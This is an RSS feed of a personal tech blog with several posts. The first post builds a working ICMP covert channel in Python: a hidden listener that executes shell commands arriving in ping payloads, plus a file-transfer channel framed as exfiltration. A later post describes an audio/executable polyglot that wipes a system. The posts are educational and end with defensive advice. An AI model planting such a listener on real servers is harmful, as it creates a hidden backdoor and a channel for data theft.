<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/"
    xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Douxx.tech&#039;s Blog</title>
        <link>https://douxx.blog/</link>
        <description>Hello and welcome to my new blog! Here you&#039;ll find thoughts, write-ups, and sometimes tutorials.
Learn more about it &lt;a href=&quot;/starting-over&quot;&gt;here&lt;/a&gt; and manage your preferences &lt;a href=&quot;/settings&quot;&gt; here&lt;/a&gt;. I hope you&#039;ll enjoy your stay!</description>
        <generator>Douxx.tech&#039;s Blog</generator>
        <language>en-US</language>
        <lastBuildDate>Tue, 30 Jun 2026 00:00:00 +0000</lastBuildDate>
        <atom:link href="https://douxx.blog/feed.xml" rel="self" type="application/rss+xml" />
                    <item>
                <title>A Ping Is a Ping Until It Isn&#039;t Anymore</title>
                <link>https://douxx.blog/a-ping-is-a-ping-until-it-isn-t-anymore</link>
                <pubDate>Tue, 30 Jun 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/a-ping-is-a-ping-until-it-isn-t-anymore</guid>
                                    <category>networking</category>
                                    <category>security</category>
                                    <category>icmp</category>
                                    <category>packets</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/a-ping-is-a-ping-until-it-isn-t-anymore">original post</a>.</em></p><p>Look at these logs:</p>
<img alt="pings" src="https://images.dbo.one/97822296" width="600"/>
<p>Those are <code>ICMP echo</code> packets — or more commonly known as <code>ping</code> packets — coming back and forth from my laptop and another device. They're a way for machines to confirm that they can reach other machines on their network.</p>
<p>Now lets take a look at my downloads folder:</p>
<img alt="secret!" src="https://images.dbo.one/9cd9df67" width="600"/>
<p>This file wasn't there before — and that's expected, the ping packets transported it.</p>
<p>I was messing around with packet manipulation the other day and ended up sending a file across the network using nothing but ping requests. It worked, which was cool. I learned something important but unsexy: the line between 'normal traffic' and 'suspicious traffic' is mostly just convention.</p>
<h2 id="how-it-works">How it Works</h2>
<p>Most people know ping packets bounce between two machines, and if you read <a href="https://douxx.blog/23-strangers-standing-between-you-and-this-article">this article</a>, you know they carry a TTL too. What barely anyone thinks about is that they also carry a payload.</p>
<p>An <code>ICMP echo</code> packet, as defined in <a href="https://www.rfc-editor.org/rfc/rfc792">RFC 792</a>, has a few header fields — type, code, identifier, sequence number — and then a data field. That data field is mostly there to confirm integrity: your OS just needs to send something back identical to confirm the data transfer worked. Windows famously fills it with the alphabet, Linux uses an incrementing byte pattern. Most systems don't actively validate what's in there — your OS just verifies the data came back unchanged. That's the gap we're exploiting:<br />
What if we put something else in that field?</p>
<h2 id="implementing-it">Implementing It</h2>
<p>Now that we know the mechanism works, let's see what we can actually do
with it. The <a href="https://scapy.net">scapy</a> library makes packet manipulation trivial, so we'll start
with the simplest possible case: just reading what's inside.</p>
<pre><code class="language-py">from scapy.all import sniff, IP, ICMP, Raw

def handle_packet(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8: # ICMP type 8 = echo
        if Raw in pkt:
            print(f&quot;Payload: {bytes(pkt[Raw])}&quot;)

sniff(filter=&quot;icmp&quot;, prn=handle_packet, store=False)
</code></pre>
<p>Running this shows the payload of the pings that reach my laptop:</p>
<img alt="icmp payload" src="https://images.dbo.one/6ced6fed" width="600" />
<p>Now let's inject a custom payload, still with scapy:</p>
<pre><code class="language-py">from scapy.all import send, IP, ICMP

packet = IP(dst=&quot;127.0.0.1&quot;)/ICMP()/b&quot;dblog!&quot;
send(packet)
</code></pre>
<img alt="dblog" src="https://images.dbo.one/9c676b97" width="400" />
<p>We can see the payload changed to carry our custom data, and everything is still perfectly valid!</p>
<p>From this, we can write programs to process custom payload contents, but we need to keep in mind that a payload has a size limit. The standard Ethernet MTU is 1500 bytes. Stripping the IP header (20 bytes) and ICMP header (8 bytes) leaves 1472 bytes. Since we will prefix each packet with 3 bytes (<code>FP:</code>, <code>NF:</code>, etc.), the actual file data per packet is 1469 bytes. To keep a safety margin for edge cases, we use 1400-byte chunks.</p>
<h2 id="a-remote-command-executor">A Remote Command Executor</h2>
<p>This technique can be used in many ways, but I thought of creating a small python snippet allowing remote code execution (RCE) over ping packets.</p>
<p>To implement this, I checked if the payload bytes start with a predefined string — so I don't accidentally execute every ping payload — and then simply decode and execute the command following that string. Since these are regular CLI commands, we can use ASCII encoding to reach about ~1400 characters max per packet.</p>
<p>The logic behind it is basically this:</p>
<pre><code class="language-py"># &quot;CoMmand&quot;
if payload.startswith(b&quot;CM:&quot;):
    
    cmd = (payload[3:]         # remove the leading 'CM:'
            .rstrip(b&quot;\x00&quot;)   # remove eventual null bytes added by padding / network transmission
            .decode(&quot;ascii&quot;))  # decode the text
    
    print(f&quot;Received command: {cmd}&quot;)
    subprocess.Popen(cmd, shell=True)
</code></pre>
<p>As for the program that sends the data, it stays really simple:</p>
<pre><code class="language-py">dst = input(&quot;IP: &quot;).strip()
command = input(&quot;Command: &quot;).strip()

if len(command) &gt; 1400:
    print(&quot;Command too long (max 1400 chars)&quot;)
    sys.exit(1)

payload = b&quot;CM:&quot; + command.encode(&quot;ascii&quot;)
packet = IP(dst=dst)/ICMP()/payload
send(packet, verbose=False)
print(f&quot;Sent to {dst}: {command}&quot;)
</code></pre>
<p>This is a really interesting way of hiding a RCE in a server, since it does not require to open a port, or any other thing that could be suspicious — it simply listens to incoming ICMP packets in the shadow. The only caveat is that it requires either root execution or the <code>CAP_NET_RAW</code> capability.</p>
<p>That covers commands, but what if we need to move actual data? Commands
are just text after all — files are different. Let's extend this idea.</p>
<h2 id="file-transfer">File Transfer</h2>
<p>Now what if I told you that this blog article — which behind the scenes is just a markdown file — was uploaded to the server serving it using ICMP packets? Well it did — it took 7 packets, and 5 seconds to get there. That's approximately 1.7 KB/s for this ~8.6KB file.</p>
<p>The core principle stays the same, but now, instead of sending ASCII encoded strings, we directly send the file's bytes. This lets us transfer any type of file since we don't care how it's written.</p>
<pre><code class="language-py">content = file_path.read_bytes()
chunks = [content[i:i+1400] for i in range(0, len(content), 1400)]
</code></pre>
<p>This code chunks the bytes in segments of maximum 1400 bytes of length, to fit into the MTU limit.</p>
<p>After splitting the file, we need to announce to the receiving end when we start and finish a file transfer. To do this, I used a simple sequence:</p>
<ol>
<li>Send a <code>NF:&lt;file path&gt;</code> (new file) packet — it tells the listener to clear the current file input and where to save the future file</li>
<li>Send a <code>FP:&lt;bytes&gt;</code> (file part) packet — this is the packet that contains the actual file content. It loops until we got no more content to send.</li>
<li>Finally, send a <code>EF:&lt;file path&gt;</code> (end of file) packet — this confirms that it's still the same file being sent, but the file path could be replaced with a checksum hash to confirm everything arrived correctly to destination.</li>
</ol>
<p>Here are the code samples representing what I just described:</p>
<pre><code class="language-py">def send_packet(dst, payload):
    packet = IP(dst=dst)/ICMP()/payload
    send(packet, verbose=False)

# &quot;New File&quot;
send_packet(dst, b&quot;NF:&quot; + str(remote_path).encode(&quot;utf-8&quot;))

# &quot;File Part&quot;
for i, chunk in enumerate(chunks, 1):
    send_packet(dst, b&quot;FP:&quot; + chunk)
    print(f&quot;Sent packet n°{i}&quot;)
    time.sleep(0.5) # 0.5s per chunk, can probably be lowered

# &quot;End of File&quot;
send_packet(dst, b&quot;EF:&quot; + str(remote_path).encode(&quot;utf-8&quot;))
print(f&quot;Sent {file_path} in {len(chunks)} chunks&quot;)
</code></pre>
<p>As for the receiving end, we reconstruct it the opposite way:</p>
<pre><code class="language-py"># &quot;New File&quot;
if payload.startswith(b&quot;NF:&quot;):
    file_path = payload[3:].rstrip(b&quot;\x00&quot;).decode(&quot;utf-8&quot;)
    file_content = b&quot;&quot;
    print(f&quot;Starting data collection from file {file_path}&quot;)

# &quot;File Part&quot;
elif payload.startswith(b&quot;FP:&quot;):
    file_content += payload[3:]
    print(&quot;+data&quot;)

# &quot;End of File&quot;
elif payload.startswith(b&quot;EF:&quot;):
    # Confirm the filepath
    if file_path == payload[3:].rstrip(b&quot;\x00&quot;).decode(&quot;utf-8&quot;):
        file_path = Path(file_path)

        # create the path if it doesnt exists
        file_path.parent.mkdir(parents=True, exist_ok=True)
        with open(file_path, &quot;wb&quot;) as f:
            f.write(file_content)

        print(f&quot;Wrote to {file_path}&quot;)
</code></pre>
<p>A real implementation would add sequence numbers and acknowledgments so dropped packets trigger retransmission, plus a checksum in the <code>EF:</code> packet to validate the file arrived intact. This basic version doesn't, which works fine in a controlled environment but is why I'd never actually use this for anything that mattered.</p>
<h2 id="why-this-isnt-actually-clever">Why This Isn't Actually Clever</h2>
<p>Here's where I'm going to be honest: this technique isn't new. <a href="https://www.cs.uit.no/~daniels/PingTunnel/">ptunnel</a> did this in 2004. I just read the RFC and built the obvious implementation.</p>
<p>More importantly: <strong>it's bad at its job.</strong></p>
<p>Even if ICMP egress isn't filtered — and it often is in security-conscious networks — the approach has serious problems:</p>
<ul>
<li><strong>Speed:</strong> 1.7 KB/s means a 1MB exfil takes over 10 minutes. SSH does it in milliseconds.</li>
<li><strong>Volume:</strong> Forty pings in three minutes is a detectable spike. Traffic analysis would flag that pretty quickly.</li>
<li><strong>Fragility:</strong> A single dropped packet requires retransmission. On a bad link, you're resending constantly.</li>
<li><strong>Privileges:</strong> Both techniques require either root access or the <code>CAP_NET_RAW</code> Linux capability (which allows unprivileged processes to craft raw packets). This is a significant privilege requirement that limits practical exploitation.</li>
</ul>
<p>A real attacker uses SSH with port forwarding, DNS tunneling, or just HTTP. They don't use ping.</p>
<h2 id="so-why-do-this">So Why Do This?</h2>
<p>We just showed ICMP can exfiltrate files and execute commands without opening a port. Most <em>open</em> networks allow ICMP. Security-conscious networks restrict it. But there's a middle ground: networks that allow ICMP for diagnostics but don't deeply inspect its payloads.</p>
<p>Your firewall probably has rules like:</p>
<ul>
<li>Allow ICMP (assumed harmless for network diagnostics)</li>
<li>Allow SSH on port 22 (for administrative access)</li>
<li>Block everything else</li>
</ul>
<p>That framework assumes ICMP = harmless, port 22 = controlled access, everything else = dangerous. But ICMP can carry commands. SSH can tunnel other protocols. The ports you allow are gateways, not guardrails.</p>
<p>This is why modern threat detection doesn't trust surface-level protocol labels. It looks at behavior: Do you normally see 50 pings to the same host in three minutes? Anomalous. Is that SSH session exfiltrating terabytes of data? Time to investigate.</p>
<h2 id="the-takeaway">The Takeaway</h2>
<p>If you're defending a network: monitor behavior, not just protocols. If you're attacking one (<em>which, legally, you shouldn't</em>): be patient and clever about volume and timing. A slow exfil that looks normal is worth more than a fast one that screams &quot;intrusion.&quot;</p>
<p>Building this was useful to me, not because I invented something new, but because I finally understood why security teams don't just trust the labels on packets.</p>
<p>They shouldn't. Neither should you.</p>
<hr />
<p>The code used in this article is fully available on <a href="https://github.com/douxxtech/dataping">my Github</a>.</p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/c08c4a4c" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>My Nintendo DS Broadcasts Radio (kinda)</title>
                <link>https://douxx.blog/my-nintendo-ds-broadcasts-radio-kinda</link>
                <pubDate>Sun, 07 Jun 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/my-nintendo-ds-broadcasts-radio-kinda</guid>
                                    <category>nintendo-ds</category>
                                    <category>radio</category>
                                    <category>c</category>
                                    <category>networking</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/my-nintendo-ds-broadcasts-radio-kinda">original post</a>.</em></p><p>I've had a hacked Nintendo DS for a while, and I always wanted to write something for it. I tried once before and gave up. This time I had a better excuse.</p>
<p>See, I'm also developing <a href="https://github.com/dpipstudio/botwave">BotWave</a> as one of my many projects, and if you don't know what it is, it's basically a software for Raspberry Pis that lets them broadcast FM radio.</p>
<p>Now you're probably telling yourself: <em>but a DS isn't a Raspberry Pi?</em></p>
<p>And you're right. But see, BotWave has a remote command feature, that basically exposes a WebSocket acting as a cli interface, making a bridge between the internal commands and external scripts.</p>
<img src="https://images.dbo.one/6cd15875" width="400" />
<p>This blog post will document how I managed to build a setup making the DS and the Raspberry Pi able to communicate anywhere, anytime, and broadcast some cool songs.</p>
<h2 id="devkitpro">devkitPro</h2>
<p>My first goal was to get an &quot;Hello, world!&quot; displayed on my DS screen. To do this, the easiest way seemed to install <a href="https://devkitpro.org/">devkitPro</a> on my system.</p>
<p>As said on their GitHub homepage: <em>devkitPro is an organization dedicated to providing useful tools and libraries targeting a variety of (primarily Nintendo) game consoles.</em></p>
<p>They provide the required libraries and tools to build <code>.nds</code> files. Those files are ROMs that can be loaded by either an emulator or original hardware running custom firmware, such as the <a href="https://www.gamebrew.org/wiki/Wood_Firmwares">Wood R4</a> I use.</p>
<p>As for the hello world, it was fairly easy since the examples provide one:</p>
<pre><code class="language-c">#include &lt;nds.h&gt;
#include &lt;stdio.h&gt;

int main(void) {
    consoleDemoInit();

    iprintf(&quot;Hello, World!\n&quot;);

    while (1) {
        swiWaitForVBlank();
    }

    return 0;
}
</code></pre>
<p>To test it, I used the <a href="https://melonds.kuribo64.net/">melonDS</a> emulator:</p>
<img src="https://images.dbo.one/f1795c43" width="400">
<h2 id="accessing-a-network">Accessing A Network</h2>
<p>The only way for a DS to access a network is using Wifi, but you can probably guess that it isn't this easy using a 2004 console.</p>
<p>First of all, the wifi settings on a Nintendo DS are managed in some obscure on-card way, and accessing them is terrible. Here is how I managed to do it:</p>
<ol>
<li>
<p>I loaded Mariokart DS</p>
</li>
<li>
<p>I went on the Nintendo WFC (<strong>W</strong>i-<strong>F</strong>i <strong>C</strong>onnection)</p>
</li>
<li>
<p>Then I accessed the settings</p>
</li>
<li>
<p>And finally I had access to the WiFi settings</p>
</li>
</ol>
<div style="display:grid;grid-template-columns:repeat(4,1fr);gap:4px">
  <img src="https://images.dbo.one/b58497cc" width="400"/>
  <img src="https://images.dbo.one/7cfca6f4" width="400"/>
  <img src="https://images.dbo.one/63e8ea9d" width="400"/>
  <img src="https://images.dbo.one/5468192a" width="400"/>
</div>
<p>And then, another limitation: the DS accepts either unauthenticated networks or WEP-protected ones, that neither my phone or my router support. So I just went with an unprotected access point. Oh, and no 5GHz, <em>obviously</em>.</p>
<p>Fortunately, programmatically speaking, devkitPro provides a <code>dswifi9</code> lib that handles all that mess on its own and we just have to <code>Wifi_InitDefault(WFC_CONNECT)</code>.</p>
<h2 id="the-side-quest">The Side-Quest</h2>
<p>After that, I started messing a bit with raw sockets, but sadly the only record I have of that is this image:
<img src="https://images.dbo.one/f55d0753" width="400"/></p>
<p>Anyways, it rapidly became evident that I would definitely not connect to the BotWave remote connection using WebSocket. It's already a miracle if I can get it to work with a TCP socket.</p>
<p>So I had to build a compatibility bridge, running on the pi, that sits between the BotWave WS and the connecting DS.</p>
<p>As for the code, it was quickly done by <a href="https://gemini.google">Gemini</a>, since it's a small ~200 lines script.</p>
<p>To break down its internals, it's really just two asyncio loops glued together. One loop reads from the WebSocket and writes to TCP:</p>
<pre><code class="language-python">async for message in self.ws:
    data = message if isinstance(message, bytes) else message.encode()
    self.tcp_writer.write(data)
    await self.tcp_writer.drain()
</code></pre>
<p>The other does the opposite, reading from TCP and sending over the WebSocket:</p>
<pre><code class="language-python">while self.active:
    data = await self.tcp_reader.read(4096)
    await self.ws.send(data.decode('utf-8'))
</code></pre>
<p>Both loops run at the same time with <code>asyncio.wait(..., return_when=asyncio.FIRST_COMPLETED)</code>, so the moment either side dies, the bridge tears down the whole connection instead of leaving a dangling half-open socket.</p>
<p>The only annoying part is that WebSocket talks in messages while TCP talks in a raw stream, so there's a bit of glue to keep both sides from misunderstanding each other (decoding bytes, occasionally slapping a newline at the end). Everything else is just making sure nothing's left dangling when one side disconnects.</p>
<p>The challenging part was integrating it with BotWave itself. Since I wanted it to be easily reusable for other projects, I had to make it self-contained and easy to plug into any BotWave setup.</p>
<p>First of all, having a python script is nice, but integrating it can rapidly become a mess. That's why I made two small shell scripts, to start and stop the program.</p>
<p>Since it isn't the main thing of this blog post, I won't explain how it works in details, but you can find the full project <a href="https://github.com/douxxtech/bw_wtt/">on GitHub</a>.</p>
<p>To do a rapid summary, the starter script takes the value into <code>REMOTE_CMD_PORT</code> to retrieve the WS port, and then either takes its first argument for the TCP socket port, or defaults to <code>9940</code>. After parsing the values, it starts the python script as a background process.</p>
<p>The stop script creates a <code>/tmp/killwtt</code> file, that the bridge continuously watches, and stops itself if it exists.</p>
<p>All of those scripts are automatically ran using BotWave <a href="https://github.com/dpipstudio/botwave/wiki/Automate-your-setup">handlers</a> and <a href="https://github.com/dpipstudio/botwave/wiki/Creating-custom-commands">custom commands</a>.</p>
<p>As a result, I now can connect to BotWave using a raw TCP socket, which will make it way easier to access it for our DS:</p>
<img src="https://images.dbo.one/ab4bdc01" width="400"/>
<h2 id="building-the-software">Building the Software</h2>
<p>Now that the bridge was running, I had to actually write the DS client.</p>
<p>The first real challenge was the socket. The DS network stack is functional, but the default behavior is blocking, meaning if nothing comes in, the whole program just freezes waiting. On a console where you need to be scanning inputs and redrawing the screen every frame, that's a death sentence.</p>
<p>The fix is <code>FIONBIO</code>, a flag you pass to <code>ioctl</code> to make the socket non-blocking. After that, <code>recv</code> returns immediately whether there's data or not, and you just check <code>errno</code> for <code>EAGAIN</code> to know if it was empty.</p>
<pre><code class="language-c">int iMode = 1;
ioctl(g_sock, FIONBIO, &amp;iMode);
</code></pre>
<p>One line. Took some hours to get there though.</p>
<p>As for the software itself, the concept is simple: the DS connects to the bridge, sends commands, and parses the responses to update the UI. And since it's a <strong>DS</strong> — two screens — I figured I might as well use both. The top screen shows the file list and the current broadcast status — the bottom one, a scrolling log of what's happening. You navigate with the D-pad, A to play, B to stop, X to refresh. devkitPro makes this pretty easy with its <code>PrintConsole</code> system, you just init two consoles and <code>consoleSelect()</code> to switch which one you're writing to.</p>
<p>The trickier part was parsing. BotWave's TCP output is a live stream: it doesn't pause and wait for you, it just keeps printing. So when I sent a <code>lf</code> (list files) command, the response would arrive mixed with whatever else the server was already outputting.</p>
<p>Fortunately, BotWave has a built-in <code>transaction_id</code> system — you can add <code>transaction_id=something</code> to any command, and every line of its response will carry that same tag back. On the DS side, I just generate a unique ID per command and only process lines that match it:</p>
<pre><code class="language-c">snprintf(init_cmd, sizeof(init_cmd), &quot;lf transaction_id=%s&quot;, g_expected_lf_tx);
</code></pre>
<p>Everything else gets ignored. It's what made the whole parsing reliable without having to do anything clever.</p>
<p>The last piece was keeping the UI actually up to date. Once you're in the file browser, the DS polls BotWave's <code>status</code> command every 3 seconds — current file, frequency, uptime, whether it's on air or idle. That way the top screen stays live without hammering the connection, and you always know what the Pi is doing with minimal delay.</p>
<p>And here is the final result:
<video controls width="400"><source src="https://cdn.douxx.tech/files/dsrad.mp4" /></video></p>
<h2 id="putting-it-all-together">Putting it All Together</h2>
<p>Finally, even if it <em>technically</em> works right now, I'd want it to be more of a single device that I can transport anywhere. To do this, I took a Pi Zero — specifically for its size — slapped it on the back of the DS, and turned it into an access point for the DS to connect to. Additionally, I made BotWave start on boot:</p>
<pre><code class="language-bash"># setup the AP
sudo nmcli connection add type wifi ifname wlan0 con-name &quot;DSRad&quot; ssid &quot;DSRad&quot;
sudo nmcli connection modify &quot;DSRad&quot; 802-11-wireless.mode ap 802-11-wireless.band bg ipv4.method shared
sudo nmcli connection modify DSRad connection.autoconnect yes

# start BotWave on boot
sudo bw-autorun local --rc 9939
</code></pre>
<p>And, for the final touch, I duct-taped the pi on the back of the DS</p>
<div style="display:grid;grid-template-columns:repeat(2,1fr);gap:4px">
  <img src="https://images.dbo.one/28996efe" style="width:100%">
  <img src="https://images.dbo.one/43bbb997" style="width:100%">
</div>
<hr />
<p>As for the final note, if you wish to fully reproduce this project, a full guide is available <a href="https://github.com/douxxtech/dsrad">on GitHub</a>.</p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/da91f284" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>A File Is What Reads It</title>
                <link>https://douxx.blog/a-file-is-what-reads-it</link>
                <pubDate>Sat, 30 May 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/a-file-is-what-reads-it</guid>
                                    <category>polyglot</category>
                                    <category>format</category>
                                    <category>linux</category>
                                    <category>binaries</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/a-file-is-what-reads-it">original post</a>.</em></p><p>Listen to this audio:</p>
<div class="audio-player" data-lazy-src="https://cdn.douxx.tech/files/rmdir.mp3"></div><br>
<p>Sounds pretty harmless, right? Now look at what that file actually is:</p>
<p><video controls><source data-lazy-src="https://cdn.douxx.tech/files/rmdir.mp4" /></video></p>
<p>Both are the same file. One plays music, one wipes your system. This is a <a href="https://en.wikipedia.org/wiki/Polyglot_(computing)">polyglot</a>: a file that is simultaneously valid in multiple formats, and depending on what reads it, does something completely different.</p>
<h2 id="how-it-works">How It Works</h2>
<p>Most parsers are lenient by design. If your audio player refused to play a file because it found an unrecognized byte somewhere, you'd blame the player, not the file. So most parsers skip what they don't understand, and only care about what they're looking for.</p>
<p>MP3s work with <strong>sync frames</strong> — specific byte sequences that mark the start of each audio chunk. Crucially, most players don't require the first sync frame to be at byte zero. They'll scan forward until they find one.</p>
<p><a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format">ELF binaries</a>, on the other hand, <em>do</em> require their header at byte zero. The kernel checks for <code>7f 45 4c 46</code> at the very start, and if it's not there, it won't run the file.</p>
<p>That mismatch is the whole trick. Put the ELF at the start, put the MP3 right after it:</p>
<pre><code class="language-plaintext">|   rmdir.mp3    |
#================#
|                |
|    ELF Part    |  ← the kernel sees this, runs it
|                |
+================+
|                |
|    MP3 Part    |  ← the audio player scans to here, plays it
|                |
#================#
</code></pre>
<p>The kernel runs the ELF. The audio player plays the MP3. Both see what they <em>want</em> to see — neither of them is wrong. It just turns out that what a file <em>is</em> depends entirely on what's reading it.</p>
<p>Now, let's build a few of these.</p>
<h2 id="the-audio-with-video">The Audio With Video</h2>
<p>To stay in the ELF + MP3 field, let's create a file that plays an ASCII video in your terminal, while playing <em>itself</em> as audio.</p>
<p>To do this, I first generated <a href="https://cdn.douxx.tech/files/badapl.tmov">a file</a> using <a href="https://github.com/dpipstudio/noskid.today/blob/main/misc/vidtoascii/vidtoascii.js">an old tool I built</a> that contains the <a href="https://www.youtube.com/watch?v=9lNZ_Rnr7Jc">Bad Apple video</a>, split into multiple ASCII frames. After that, I extracted the audio track into an MP3.</p>
<p>To keep the code below simple, I hosted the <code>.tmov</code> file on a server — but <a href="#the-source">the source</a> contains a standalone version if you'd rather not depend on an external request.</p>
<h3 id="the-elf-part">The ELF Part</h3>
<p>Now that we have the video file and the audio, let's build the binary:</p>
<pre><code class="language-c">int main(void) {
    // fetch the .tmov file from the server
    Buf b = {0};
    CURL *c = curl_easy_init();
    curl_easy_setopt(c, CURLOPT_URL, &quot;https://cdn.douxx.tech/files/badapl.tmov&quot;);
    curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, wcb);
    curl_easy_setopt(c, CURLOPT_WRITEDATA, &amp;b);
    curl_easy_perform(c);
    curl_easy_cleanup(c);

    // play itself as audio in a forked child
    if (!fork()) {
        // hide the child process output
        int fd = open(&quot;/dev/null&quot;, O_RDWR);
        dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
        execlp(&quot;ffplay&quot;, &quot;ffplay&quot;, &quot;-nodisp&quot;, &quot;-autoexit&quot;, &quot;-ss&quot;, &quot;1&quot;, self, NULL);
        _exit(1);
    }

    // play the ascii frames
    for (char *del = NULL;; p = del + 4 + (del[4] == '\n')) {
        del = strstr(p, &quot;!$$!&quot;);
        printf(&quot;\033[H\033[2J&quot;);
        fwrite(p, 1, del ? (size_t)(del - p) : strlen(p), stdout);
        nanosleep(&amp;ts, NULL);
        if (!del) break;
    }
}
</code></pre>
<p>It starts by fetching the <code>.tmov</code> file, then forks a child process that plays <em>itself</em> using <code>ffplay</code> — passing <code>/proc/self/exe</code> as the audio source, which is the polyglot file. The parent process meanwhile clears the terminal and renders the ASCII frames one by one.</p>
<div class="audio-player" data-lazy-src="https://cdn.douxx.tech/files/badapl.mp3"></div>
<img data-lazy-src="https://images.dbo.one/2fbd968c" />
<p>This one does hit the limits of the format though. It might not play at all depending on your browser, and if it does and you listened carefully, you probably noticed some noise at the very start — a short moment of gibberish before the actual music kicks in. That's not a bug exactly, it's the polyglot showing its seams.</p>
<p>Here's what's happening: the larger the ELF binary, the more raw bytes it contains, and with enough bytes, some of them will accidentally form valid-looking MP3 sync frames — <code>0xFF</code> followed by the right bit pattern, pointing to what looks like a valid audio chunk. The player finds one of those, thinks it's found the start of the audio, and starts decoding. It isn't audio. It's program code. So it plays it anyway, and it sounds like static.</p>
<p><code>rmdir.mp3</code> avoided this almost entirely because it was a small assembly binary — a few thousands bytes that happened not to contain any convincing sync frames. This one is a full C binary with libcurl linked in, sitting at a few megabytes. At that size, false positives are basically guaranteed.</p>
<h2 id="an-image-that-also-is-a-document">An Image That Also Is A Document</h2>
<p>Moving away from executables — the same principle applies to formats that have nothing to do with code.</p>
<p>Most PDF readers scan the file until they find <code>%PDF</code>, which signals the start of the content, then read forward until <code>%%EOF</code>. They don't particularly care what comes before or after those markers, as long as the structure between them is valid.</p>
<p>PNGs, on the other hand, are built around a chunk system. The file is a sequence of typed blocks — <code>IHDR</code>, <code>IDAT</code>, <code>IEND</code> — and any chunk the viewer doesn't recognize is simply skipped. One of those ignorable chunks is <code>tEXt</code>, which stores arbitrary key-value text. Image viewers don't render it, don't validate it, don't care about it at all.</p>
<p>So: store a full valid PDF inside a <code>tEXt</code> chunk, and you have a file that an image viewer opens as a picture, and a PDF parser — scanning for <code>%PDF</code> anywhere in the file — opens as a document. A small Python script handles the chunk injection and the offset patching.</p>
<p>Look at this beautiful gradient:</p>
<img data-lazy-src="https://images.dbo.one/be70ba4d" />
<p>And now look at this beautiful PDF:</p>
<p><img src="https://images.dbo.one/54b2c7dd" alt="pdf screenshot" /></p>
<p>Same file, different extension, different meaning.</p>
<h2 id="the-source">The Source</h2>
<img data-lazy-src="https://images.dbo.one/88dbebf0" />
<p>Wanted the source? Here it is — and yes, I obviously <em>had</em> to end this article with one more polyglot.</p>
<p>Download the image above and run:</p>
<pre><code class="language-bash">mkdir -p polyglot; unzip 88dbebf0.jpeg -d polyglot/
</code></pre>
<p>ZIP polyglots are actually surprisingly common in the wild. Because the ZIP format reads the file <strong>from its end</strong> — the central directory sits at the tail of the file, not the head — you can put almost anything before it and ZIP parsers won't care. Self-extracting archives work exactly this way: an executable at the front, a ZIP at the back, a single file that runs <em>and</em> unpacks. Java <code>.jar</code> files are the same trick — a ZIP that happens to also be a valid executable on the JVM.</p>
<p>Every format has slack somewhere. It's just a matter of finding it.</p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/261de6b2" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>I Like It, But I Hate It Even More</title>
                <link>https://douxx.blog/i-like-it-but-i-hate-it-even-more</link>
                <pubDate>Fri, 15 May 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/i-like-it-but-i-hate-it-even-more</guid>
                                    <category>ai</category>
                                    <category>programming</category>
                                    <category>productivity</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/i-like-it-but-i-hate-it-even-more">original post</a>.</em></p><p>This post <em>obviously</em> talks about Artificial Intelligence, the &quot;great tool&quot; of every new developer.</p>
<p>I am myself a ChatGPT-era developer, as I started developing a discord bot, my first project, with ChatGPT in 2022-2023. However, it was still some light work — it was the beginning of something way worse.</p>
<p>Nowadays, I'm almost starting to compare it to an addiction. A new project? Gemini, how could I [...]? A vague new idea? ChatGPT, expand this idea to something more concrete! A new app? Claude, create the file structure for me and create the one thousand files required to built it.</p>
<p>Almost three months ago, I built a <a href="https://github.com/douxxtech/nasmserver">webserver in assembly</a>, something where I actually wasn't able to spam AI, since debugging what it generated was harder than writing it myself.</p>
<p>During that time, I remembered why I at first loved developing, and it wasn't only because I was able to create something useful or that I liked. It was because each project had its own struggles, successes, and lessons to learn. I love writing code, and see it execute its complex actions on first try. And if it didn't, I did some good old internet research, looking at a human's response, even 15 years old.</p>
<p>AI removes this happiness, you just ask something, it does a <em>lot</em> of math and produces a confident output. Then you Ctrl-C Ctrl-V, and done — there's your brand new revolutionary startup.</p>
<p>It's weird that the machine you once gave instructions to — and at its core responded with logical &quot;yes&quot; or &quot;no&quot; — now asks <em>you</em> to tell &quot;yes&quot; or &quot;no&quot; before doing what you originally did, just like it stole your common sense, critical thinking, and creativity.</p>
<p><em>And yet, I still asked claude to correct this post...</em></p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/a133f6f6" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Starting Over</title>
                <link>https://douxx.blog/starting-over</link>
                <pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/starting-over</guid>
                                    <category>meta</category>
                                    <category>blog</category>
                                    <category>webdev</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/starting-over">original post</a>.</em></p><p>During one of my dev classes, we had to do a simple web project. The topic was free, so I went with a blog engine. I could've knocked out something basic in three hours – database, some HTML and JS, done. But I figured: if I'm building one anyway, why not make it the one I actually needed?</p>
<h2 id="the-old-blog-wasnt-really-a-blog">The Old Blog Wasn't Really a Blog</h2>
